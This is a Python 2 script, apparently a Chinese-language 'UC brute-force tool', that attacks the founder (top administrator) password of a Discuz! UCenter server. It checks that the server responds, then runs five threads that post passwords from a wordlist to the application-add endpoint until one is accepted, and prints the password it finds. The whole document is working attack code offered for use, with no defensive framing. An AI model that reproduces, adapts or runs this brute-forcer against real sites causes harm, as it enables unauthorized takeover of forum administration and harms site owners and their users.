Uc爆破工具

#coding:utf-8
import requests
import sys

from threading import Thread
from Queue import Queue

NUM=5

dicpath='password.txt'

apptype='DISCUZX'
appname='Discuz!'
appurl='localhost'
ucclientrelease='20110501'

ucapi='http://127.0.0.1/uc_server'  # no '/' in the end!!

def testucserver():
    try:
        t = requests.get(ucapi+'/index.php?m=app&a=ucinfo&release='+ucclientrelease)
        if 'UC_STATUS_OK' in t.text:
            return True
    except:
        pass
    return False

def brute():
    while True:
        founderpw=q.get()
        data={'m':'app','a':'add','ucfounder':'','ucfounderpw':founderpw,'apptype':apptype,'appname':appname,'appurl':appurl,'appip':'','appcharset':'gbk','appdbcharset':'gbk','release':ucclientrelease}
        posturl=ucapi+'/index.php'
        #print posturl
        #print data
        r = requests.post(posturl,data)
        while r.status_code!=200:
            r = requests.post(posturl,data)
        rt=r.text
        #print rt
        if rt!='-1' and rt!='':
            print 'Founder Password found! : '+founderpw
            print rt
            sys.exit()

        q.task_done()

if __name__ == '__main__':
    if testucserver()==False:
        print 'UCAPI error'
        sys.exit()
    q=Queue()
    for i in range(NUM):
        t = Thread(target=brute)
        t.daemon=True
        t.start()
    print 'Threads started'
    with open(dicpath) as f:
        for line in f:
            pw = line.strip()
            q.put(pw)
    f.close()
    q.join()